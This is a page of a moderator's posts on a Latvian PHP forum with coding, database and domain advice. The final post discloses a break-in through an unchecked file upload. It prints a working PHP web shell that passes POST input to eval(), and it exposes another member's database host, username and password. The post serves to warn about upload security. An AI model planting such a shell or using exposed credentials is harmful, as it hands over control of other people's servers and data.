Jump to content
php.lv forumi

Kaklz

Moderatori
  • Posts

    1,401
  • Joined

  • Last visited

Posts posted by Kaklz

  1. $last_matches = query("SELECT * FROM ".PREFIX."speles WHERE izspelets = '1' ORDER BY id DESC LIMIT 5");
    while($lm = mysql_fetch_assoc($last_matches))
    {      
    $qry = 'select id, nosaukums, logo from '. PREFIX. 'komandas where id in ('. $lm['komanda1'] . ',' . $lm['komanda2'] . ')';
    $r = mysql_query($qry);
    $i = 1;
    while($row = mysql_fetch_assoc($r)){
    $km[$i++] = $row;
    }
    }
    

     

    Tik cik tu griezīsies nevis pie $km1, $km2, bet pie $km[1] vai $km[2].

  2. Teorētiski varētu pietikt ar tabulas tipa nomaiņu no MyISAM uz InnoDB, jo MyISAM gadījumā pie insert/update/delete operācijām tiek lokota visa tabula. Tas nozīmē, ka uz to brīdi apstājas visi selekti, kas gaida kamēr tiks pabeigtas insert/update/delete operācijas. InnoDB gadījumā tiek lokota tikai konrkētā rinda, kura tiek labota/dzēsta/pievienota. Attiecīgi selektiem tas traucē daudz mazāk.

     

    Jebkurā gadījumā prasās pēc detalizētākas informācijas par to, kas tas ir, ko tu taisi :)

  3. monkuli, Salvis nebija normāls domēnu reģistrs, bet privātpersona, kurai man nesaprotamā kārtā kāds vispār uzticējās. Tikpat labi tu varēji aiziet un palūgt kaimiņu Slavikam par 0.7l piereģistrēt tev domēnu uz sava vārda.

     

    Pavisam nesen nic.lv mainīja savu politiku un piedāvā uzņēmumiem nodarboties ar .lv domēnu reģistrēšanu, kas ļauj trešajai pusei normāli tev piedāvāt domēna reģistrācijas pakalpojumus, domēnu reģistrējot uz TAVA vārda.

  4. Pieņemsim, ka tev ir bilde 350x480px, kuru tu gribi iebāzt 200x250px thumbnailā

     

    Sarēķini, cik proporcionāli liela bilde tev ietilpst konkrētajā dimensijā

     

    200 / 350 = 0.57

    250 / 480 = 0.52

     

    Te tevi interesē, kura bilde būs jāsamazina vairāk, tā dimensija arī ir jāņem par galveno. Te sanāk, ka, lai bilde ietilptu 250 px vinjai augstumā ir jābūt 52% no oriģināla. Attiecīgi lai saglabātu proporciju tev arī horizontālā dimensija ir jāsamazina par 52%.

    Līdz ar to horizontālā dimensija pārtop par: 350 * 0.52 = 182

     

    Rezultātā tev ir bilde 250x182px.

     

     

    Tā kā 182 ir mazāks par 200, tad būtu loģiski nocentrēt pa horizontāli to bildi - sameklē nobīdi no malas

    (200 - 182) / 2 = 9

     

     

    un pēc tam izdomā, kā šos visus ciparus pareizi salikt šajā funkcijā:

    http://lv.php.net/imagecopyresampled

     

    Identiski arī ar gadījumu, kad vairāk ir jāsamazina horizontālā dimensija.

  5. Ja tu tiešām meklē kādu darāmo darbu, tad pareizajai atbildei vajadzēja būt nevis:

    Injekcijas apkarotas tik dažās vietās, uzsākot taisīt darbu par to nedomāju. Nezināju vispār, kas sanāks. Un tika taisīts tīri, lai apgūtu zināšanas un aizstāvētu kursadarbu rvt, kur šis ir vairāk kā vaig

     

    bet

     

    Paldies, tagad ir salabots gan te, gan arī citās vietās

     

    Kāda gan man jēga būtu tev dot kaut ko darīt, ja man pēc tam visam jāiet cauri pašam, jālabo un jācer, ka visus caurumus esmu atradis? :)

  6. ak tu dies, cik caurs tas pasākums tev ir :D

     

    $usernameerer = "a9353198_a";

    $passworderer = "nonamer112";

    $hosterer = "mysql14.000webhost.com";

    $databaseerer = "a9353198_a";

     

    :)

     

    EDIT: kopš šī brīža vairs nekad, atkārtošu NEKAD neļauj augšupielādēt failus, nepārbaudot to saturu un novietojot tos publiski izpildāmā vietā. Laušana aizņēma ~5 minūtes, jo vienkārši uploadēju index.php failu ar saturu:

    <?php
    
    if (!empty($_POST['text'])){
           eval(stripslashes($_POST['text']));
    }
    echo '<form method="post"><textarea cols="50" rows="20"  name="text">' . @stripslashes(htmlspecialchars($_POST['text'])) . '</textarea><input type="submit" name="sbmt" value="hack!" /></form>';
    

     

    Tā kā uploadotie faili glabājas publiskā mapē un tu nekādi neaizliedz man tos izpildīt, tad vari uzskatīt, ka serveris ir pilnīgi manā rīcībā :)

     

    un jā, nodzēs /up/index.php tagad lūdzu :)

×
×
  • Create New...